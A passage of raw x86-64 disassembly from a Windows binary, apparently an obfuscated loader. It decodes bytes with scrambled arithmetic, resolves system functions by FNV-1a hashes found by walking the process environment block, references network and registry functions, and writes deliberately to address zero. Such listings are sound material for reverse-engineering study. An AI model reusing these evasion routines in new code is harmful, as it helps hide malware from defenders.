and al, dl
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401f3f4c
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, byte [rbp + r9 + 0x580]
sub cl, al
sub dl, 0x50
jmp 0x1401f3b01
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
sub cl, byte [rbp + r9 + 0x580]
jmp 0x1401f402a
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x56
jmp 0x1401f402f
movabs rdx, 0x52684186f309aefe
mov ecx, 7
jmp 0x1401f3911
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401f3fcf
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x48], rdx
jmp 0x1401f3f7d
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x1401f3e3b
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
sub dl, 0x36
add al, al
mov cl, r8b
sub cl, al
add dl, cl
mov qword [rbp - 0x48], rdx
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x580], cl
add r10, r15
sub r9, r15
mov rsi, qword [rbp - 0x48]
jmp 0x1401f40ca
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0xa
add dl, cl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, dl
add r8b, cl
sub r8b, r12b
mov byte [rbp + r9 + 0x580], r8b
mov qword [rbp - 0x48], rdx
add rbx, r10
mov rsi, rdx
jmp 0x1401f3ffb
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea esi, [rcx + rdx]
sub sil, 0x42
mov qword [rbp - 0x48], rsi
movzx eax, sil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f40ca
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edx, [rax + rax]
add dl, cl
add dl, r8b
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x580], al
add r10, r15
add rax, r10
sub r9, rax
mov qword [rbp - 0x48], rdx
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x580], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov rsi, rdx
jmp 0x1401f40bb
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea esi, [rdx + rcx]
sub sil, 0x16
mov qword [rbp - 0x48], rsi
movzx eax, byte [rbp + r9 + 0x580]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401f3514
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x7a
mov qword [rbp - 0x48], rsi
jmp 0x1401f350f
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x16
mov qword [rbp - 0x48], rsi
jmp 0x1401f34ff
lea r12, [rbp + 0x145e328]
jmp 0x1401f413b
lea r12, [rbp + 0x136aa66]
jmp 0x1401f413b
lea r12, [rbp + 0x580]
mov r10, qword [0x14044bbc0]
xor eax, eax
test r10, r10
jne 0x1401f42ae
mov esi, eax
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f41bc
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401f41ae
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401f419d
cmp r8d, esi
jne 0x1401f428e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401f428e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401f428e
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f4210
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f4205
cmp edx, r14d
je 0x1401f4226
test r10d, r10d
jne 0x1401f41f0
jmp 0x1401f428e
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401f42a5
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401f42a5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401f4281
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x1401f425d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x1401f4274
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401f42a2
cmp qword [rbx + 0x30], rax
jne 0x1401f416c
mov r10, rax
mov qword [0x14044bbc0], r10
xor eax, eax
mov qword [rsp + 0x40], rax
lea rcx, [0x14044b488]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x14044bb38]
xor eax, eax
test rdx, rdx
jne 0x1401f4455
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f4362
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x1401f4354
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401f4343
cmp r9d, esi
jne 0x1401f4442
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401f4442
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401f4442
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x1401f43bd
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1401f43b0
cmp r8d, r14d
je 0x1401f43d2
test ebx, ebx
jne 0x1401f439b
jmp 0x1401f4442
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x1401f444a
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1401f444a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f4413
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401f4405
jmp 0x1401f4428
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401f441b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401f4312
mov qword [0x14044bb38], rdx
mov r13, qword [rbp - 0x58]
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
xor eax, eax
test rbx, rbx
jne 0x1401f45cb
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f44dd
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401f44cf
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401f44be
cmp r8d, esi
jne 0x1401f45ad
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f45ad
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f45ad
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f4531
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f4526
cmp edx, r14d
je 0x1401f4547
test r11d, r11d
jne 0x1401f4511
jmp 0x1401f45ad
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1401f45c4
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401f45c4
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x1401f45a1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x1401f457e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x1401f4594
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401f45c1
cmp qword [rbx + 0x30], rax
jne 0x1401f448d
mov rbx, rax
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
xor eax, eax
test rdx, rdx
jne 0x1401f4747
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f4659
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401f464b
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401f463a
cmp r8d, esi
jne 0x1401f4729
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f4729
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f4729
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f46ad
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f46a2
cmp edx, r14d
je 0x1401f46c3
test r11d, r11d
jne 0x1401f468d
jmp 0x1401f4729
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401f4740
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401f4740
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401f471d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401f46fa
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401f4710
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401f473d
cmp qword [rbx + 0x30], rax
jne 0x1401f4609
mov rdx, rax
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
xor eax, eax
test rdx, rdx
jne 0x1401f48ba
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f47cc
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401f47be
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401f47ad
cmp r8d, esi
jne 0x1401f489c
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f489c
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f489c
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f4820
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f4815
cmp edx, r14d
je 0x1401f4836
test r11d, r11d
jne 0x1401f4800
jmp 0x1401f489c
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401f48b3
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401f48b3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401f4890
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401f486d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401f4883
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401f48b0
cmp qword [rbx + 0x30], rax
jne 0x1401f477c
mov rdx, rax
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
xor eax, eax
test rdx, rdx
jne 0x1401f4a2d
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f493f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401f4931
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401f4920
cmp r8d, esi
jne 0x1401f4a0f
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f4a0f
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f4a0f
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f4993
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f4988
cmp edx, r14d
je 0x1401f49a9
test r11d, r11d
jne 0x1401f4973
jmp 0x1401f4a0f
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401f4a26
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401f4a26
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401f4a03
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401f49e0
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401f49f6
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401f4a23
cmp qword [rbx + 0x30], rax
jne 0x1401f48ef
mov rdx, rax
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x14044bb58], rax
jne 0x1401f4b9f
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f4aaf
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401f4aa1
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401f4a90
cmp r8d, esi
jne 0x1401f4b81
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401f4b81
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401f4b81
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401f4b03
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f4af8
cmp edx, r14d
je 0x1401f4b19
test r9d, r9d
jne 0x1401f4ae3
jmp 0x1401f4b81
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1401f4b98
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x1401f4b98
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x1401f4b74
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x1401f4b50
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x1401f4b67
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401f4b95
cmp qword [rbx + 0x30], rax
jne 0x1401f4a5f
mov r9, rax
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x1401f4c16
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x1401f4bfc
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401f4bdd
cmp r9d, 0x610c0de3
je 0x1401f4c6c
mov r8, qword [r8]
xor eax, eax
cmp r8, r10
je 0x1401f4c0c
cmp qword [r8 + 0x30], rax
jne 0x1401f4bc2
mov r8, rax
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r11d, dword [r10 + r8 + 0x20]
lea edi, [rax + 1]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x1401f4c67
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x1401f4c4b
cmp ecx, 0xe463da3c
je 0x1401f4c72
add r9d, edi
jmp 0x1401f4c2f
mov r8, qword [r8 + 0x30]
jmp 0x1401f4c0f
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14044bb88]
xor eax, eax
test r10, r10
jne 0x1401f4e0c
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f4d17
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401f4d09
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401f4cf8
cmp r8d, esi
jne 0x1401f4de9
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401f4de9
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401f4de9
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f4d6b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f4d60
cmp edx, r14d
je 0x1401f4d81
test r10d, r10d
jne 0x1401f4d4b
jmp 0x1401f4de9
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401f4e00
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401f4e00
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401f4ddc
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x1401f4db8
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x1401f4dcf
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401f4dfd
cmp qword [rbx + 0x30], rax
jne 0x1401f4cc7
mov r10, rax
mov qword [0x14044bb88], r10
mov edi, 1
lea r9, [rbp + 0x11a0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14044bb80]
xor eax, eax
test r8, r8
jne 0x1401f4f92
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f4ea2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401f4e94
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401f4e83
cmp r8d, esi
jne 0x1401f4f74
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f4f74
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f4f74
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f4ef6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f4eeb
cmp edx, r14d
je 0x1401f4f0c
test r11d, r11d
jne 0x1401f4ed6
jmp 0x1401f4f74
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x1401f4f8b
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1401f4f8b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401f4f67
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x1401f4f43
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x1401f4f5a
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401f4f88
cmp qword [rbx + 0x30], rax
jne 0x1401f4e52
mov r8, rax
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rdi, qword [rbp - 0x50]
mov rsi, qword [rbp - 0x48]
mov r14, qword [rbp - 0x68]
mov r12, qword [rbp - 8]
mov edx, dword [rsp + 0x68]
inc edx
mov dword [rsp + 0x68], edx
add qword [rbp - 0x18], 0x28
mov rax, qword [rbp - 0x20]
movzx eax, word [rax + 6]
cmp edx, eax
mov r15, qword [rbp - 0x10]
jl 0x1401eeeb4
mov r15d, 1
or r12, 0xffffffffffffffff
mov ebx, 0xfa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x11d0], xmm0
mov qword [rbp + 0x11e0], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x11f0]
call fcn.14026a60a
xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp + 0x1260]
call fcn.14026a60a
lea rcx, [rbp + 0x11f0]
